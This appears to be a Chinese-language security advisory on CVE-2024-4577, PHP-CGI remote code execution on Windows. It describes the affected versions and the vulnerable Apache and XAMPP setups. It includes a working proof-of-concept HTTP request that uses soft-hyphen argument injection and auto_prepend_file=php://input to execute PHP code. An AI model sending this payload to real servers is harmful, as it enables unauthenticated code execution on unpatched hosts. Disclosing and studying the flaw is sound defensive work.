CVE-2024-4577|PHP CGI Windows平台远程代码执行漏洞(POC)

0x00 前言

PHP是Hypertext Preprocessor(超文本预处理器)的缩写,源自于“PHP/FI”的工程,在它的起源初期主要用于统计自己网站的访问者,后来用c语言进行了重新编写,拥有了自己的访问文件和数据库功能.在1995年发布了PHP 1.0第一个版本。

PHP是一种广泛使用的开源的脚本语言,它特别适合Web开发和嵌入HTML中,这种语言使用起来简单。

CGI、以CGI的方式运行,CGI英文叫做公共网关接口,就是Apache在遇到PHP脚本的时候会将PHP程序提交给CGI应用程序(php-cgi.exe)解释,解释之后的结果返回给Apache,然后再返回给相应的请求用户。

0x01 漏洞描述

PHP 在设计时忽略 Windows 中对字符转换的Best-Fit 特性,当PHP运行在Window平台且使用了如下语系(简体中文936/繁体中文950/日文932等)时,攻击者可构造恶意请求绕过CVE-2012-1823 保护,从而可在无需登陆的情况下执行任意PHP代码。

0x02 CVE编号

CVE-2024-4577

0x03 影响版本

PHP 8.3 < 8.3.8

PHP 8.2 < 8.2.20

PHP 8.1 < 8.1.29

针对其他版本,PHP官方已不在维护,建议根据实际情况进行缓解措施。

情境一:

将PHP设定于CGI模式下执行

在Apache Httpd设定档中透过Action语法将对应的HTTP请求交给PHP-CGI执行档处理时,受此弱点影响,常见设定包含但不限于:

代码语言:javascript
复制
AddHandler cgi-script .php
Action cgi-script“/cgi-bin/php-cgi.exe”

代码语言:javascript
复制
<FilesMatch“\.php$”>
SetHandler application/x-httpd-php-cgi
</FilesMatch>
Action application/x-httpd-php-cgi“/php-cgi/php-cgi.exe”

情境二:

将PHP执行档暴露在外(XAMPP预设安装设定)

即使未设定PHP于CGI模式下执行,仅将PHP执行档暴露在CGI目录下也受此弱点影响,常见情况包含但不限于:

将php.exe或php-cgi.exe复制到/cgi-bin/目录中

将PHP安装目录透过ScriptAlias暴露到外,如:

代码语言:javascript
复制
ScriptAlias /php-cgi/“C:/xampp/php/”

0x04 漏洞详情

POC:

代码语言:javascript
复制
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

<?php
phpinfo();
?>

执行命令:

(来源于网络)

0x05 参考链接

https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability/

本公众号的文章及工具仅提供学习参考,由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用者本人负责,本公众号及文章作者不为此承担任何责任。